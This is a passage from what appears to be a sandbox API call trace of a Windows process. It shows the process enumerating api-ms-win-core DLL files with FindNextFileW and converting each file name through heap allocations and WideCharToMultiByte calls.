cAlternateFileName="")) returned 1 [0210.107] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.107] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0210.107] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x92c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0210.107] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.107] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.107] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.107] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.107] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.107] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.107] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.107] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0210.107] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x92c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0210.107] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.107] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.107] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.107] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.107] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.107] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="")) returned 1 [0210.107] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.107] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0210.107] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x92c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0210.107] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.108] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.108] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.108] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.108] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.108] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="")) returned 1 [0210.108] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.108] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0210.108] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x92c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0210.108] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.108] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.108] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.108] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.108] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.108] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cfe04a0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cfe04a0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-core-handle-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.108] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.108] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0210.108] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x92c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0210.108] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.108] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.108] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.108] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.108] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.108] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-core-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.108] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.108] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0210.108] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x92c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0210.108] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.108] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.108] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.108] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.108] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.108] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d078a1c, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d078a1c, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-core-interlocked-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.109] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.109] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0210.109] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x92c120, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 38 [0210.109] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.109] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.109] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.109] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.109] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.109] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-core-io-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.109] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.109] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0210.109] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x92c288, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 29 [0210.109] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.109] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.109] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.109] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.109] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.109] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-core-libraryloader-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.109] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.109] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0210.109] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x92c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0210.109] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.109] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.109] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.109] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.109] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.109] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.109] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.109] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0210.109] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x92c288, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0210.109] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.110] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.110] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.110] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.110] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.110] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="")) returned 1 [0210.110] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.110] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0210.110] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x92c120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0210.110] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.110] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.110] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.110] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.110] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.110] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-core-localregistry-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.110] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.110] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0210.110] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x92c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0210.110] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.110] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.110] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.110] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.110] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.110] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0eae39, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0eae39, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-core-memory-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.110] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.110] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0210.110] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x92c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0210.110] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.110] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.110] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.110] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.110] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.110] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-core-misc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.110] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.110] 